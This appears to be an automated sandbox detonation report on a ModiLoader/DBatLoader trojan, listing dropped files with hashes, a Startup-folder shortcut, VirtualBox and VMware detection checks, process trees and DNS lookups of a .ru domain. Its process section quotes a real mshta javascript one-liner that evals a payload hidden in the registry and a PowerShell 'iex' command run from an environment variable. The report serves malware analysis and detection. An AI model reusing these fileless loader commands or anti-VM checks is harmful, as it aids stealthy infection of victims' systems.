memory/2140-53-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-52-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-46-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-58-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-42-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-57-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-56-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-54-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-49-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-48-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-37-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-47-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-36-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-45-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-67-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2876-82-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-98-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-99-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-96-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-94-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-93-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-91-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-90-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-88-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-87-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-85-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-97-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-84-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-95-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-92-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-89-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-86-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-83-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2876-81-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2340-119-0x0000000001EA0000-0x0000000001F74000-memory.dmp

C:\Users\Admin\AppData\Local\416844\7efaba.bat

MD5 a9d3ea542d72c3d4eb6e79b37f9b265e
SHA1 9ef048c6a4cc72891fe4b6d8c3ae59e134711cb9
SHA256 d287a2bcc9c2485a60329a6bb94fb260bec57524e3098a5bd7c7cedf3e460314
SHA512 eba879b158972749be9a48b1ff0d7393f69960da48c1f8e92c3886d9cf16ae437ac5eea449f59de788cbf5b9033ebc78311f2b591f6d41631521a3f0ea24208b

C:\Users\Admin\AppData\Local\416844\1a6bc1.983f33d

MD5 1e74f54983f584fb375997f6d710fcc5
SHA1 e29d7ef56bd7b0d365e4154e7fa13a56dbdb8d9f
SHA256 163a3152a25643419866d8d77145766341a0c8aab5f041f28b8d30b87610b1be
SHA512 79434d6e22b91427bf4846efcd6a88a1752a28c577dd65b28ba761d82fdba6567ce42458bba5563ccb8041e766e35a4021e5200a6647ddc9d38f4102e8978164

C:\Users\Admin\AppData\Local\416844\eecdc5.lnk

MD5 fda8ceca25b52950b08c0f043937cecb
SHA1 5cf5d7016ab5b938ded88c6ca5e2a23fe34f6820
SHA256 9eab49ea41f5fe232064099743a5d1b73c172f14eb2941b1d740f55b547c7822
SHA512 df7b8749d776077a24a6d9b5517b071b6497bc0232027bec799efe2ea6428203a299dd8cdd56f34498400423633f82ad73d5c4431b6777aa04dc5ab2e8fa1653

C:\Users\Admin\AppData\Roaming\730a4b\791dbf.983f33d

MD5 14d6113f0996400fbfc9e43e66608164
SHA1 1e9f4c8b164b04254a56374506c6615f78ef879b
SHA256 dbfdb41e2c34703b6d471705ecd3a00d9b21b3e4777babf0b0077e6f26885099
SHA512 a507ee36325ac7ba7021230f1536dd8f5569f1da3f8549d5c245e862fb45fd800946a7b0793ed48bed0b082a1db8e058b074bc020273879d8982b09a28bd3da6

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk

MD5 d5bcec5b230d761d784e7aac99b76091
SHA1 a8f306eb2135a2a7ea3b52a86f0f4a0d6ac74d00
SHA256 41de7af6eb3efa1d53733bf5717bc833ab6033d0e49ec207c7a67531bbb28053
SHA512 ac8463090bd2dea9627bd12ff335c5380a4e247a0bd70fb71fcad4cf0c001f14cf97aebd405d017fe3e4d5e41f0ca4ce8a8345f35842241375e0a5f83b55ca39

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-07 05:27

Reported

2024-05-07 05:30

Platform

win10v2004-20240419-en

Max time kernel

148s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMWare, Inc.\VMWare Tools C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMWare, Inc.\VMWare Tools C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:gZfVkd7MU="A";c2y=new%20ActiveXObject("WScript.Shell");YirKUGAL3="lPw6Ad";on0qU=c2y.RegRead("HKLM\\software\\Wow6432Node\\HWHEDuC1Hi\\oTufir");aWK3mT2YS="HPJQ6QiQm";eval(on0qU);gDj6CnL="pT0Tlage5";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:suaqla

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
NL 23.62.61.194:443 www.bing.com tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 vatutani.ru udp
US 8.8.8.8:53 51.15.97.104.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 vatutani.ru udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 vatutani.ru udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp

Files

memory/248-1-0x00000000006F0000-0x0000000000737000-memory.dmp

memory/248-0-0x00000000006F0000-0x0000000000737000-memory.dmp

C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

MD5 1f98f4990bbf6b268365ba7fdf56405f
SHA1 e1f5a46baf14c6fdd67fcb1b3d37b54ad9a52317
SHA256 5f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f
SHA512 bbf91e6a1a1c2a50f630d4ec347c7678647a78ce976af3db92b62498f77af84f506e1dadd4d9d8757c9f2297e80bbaf96e8575f5cb331800465417a6ed08717f

memory/248-8-0x0000000000740000-0x0000000000747000-memory.dmp

memory/248-14-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-13-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-11-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-15-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-16-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-10-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-9-0x00000000029A0000-0x0000000002A74000-memory.dmp

memory/248-7-0x0000000000440000-0x0000000000445000-memory.dmp

memory/248-6-0x0000000000400000-0x000000000043E000-memory.dmp

memory/2912-18-0x0000000004830000-0x0000000004866000-memory.dmp

memory/2912-19-0x0000000004F40000-0x0000000005568000-memory.dmp

memory/2700-21-0x00000000005F0000-0x0000000000637000-memory.dmp

memory/2700-20-0x00000000005F0000-0x0000000000637000-memory.dmp

memory/2912-22-0x0000000004DF0000-0x0000000004E12000-memory.dmp

memory/2912-24-0x00000000055E0000-0x0000000005646000-memory.dmp

memory/2912-23-0x0000000004E90000-0x0000000004EF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2d0k2imx.tpp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2912-34-0x00000000056C0000-0x0000000005A14000-memory.dmp

memory/2912-35-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

memory/2912-36-0x0000000005C00000-0x0000000005C4C000-memory.dmp

memory/2912-37-0x0000000007300000-0x000000000797A000-memory.dmp

memory/2912-38-0x0000000006C80000-0x0000000006C9A000-memory.dmp

memory/248-40-0x0000000000440000-0x0000000000445000-memory.dmp

memory/248-41-0x00000000029A0000-0x0000000002A74000-memory.dmp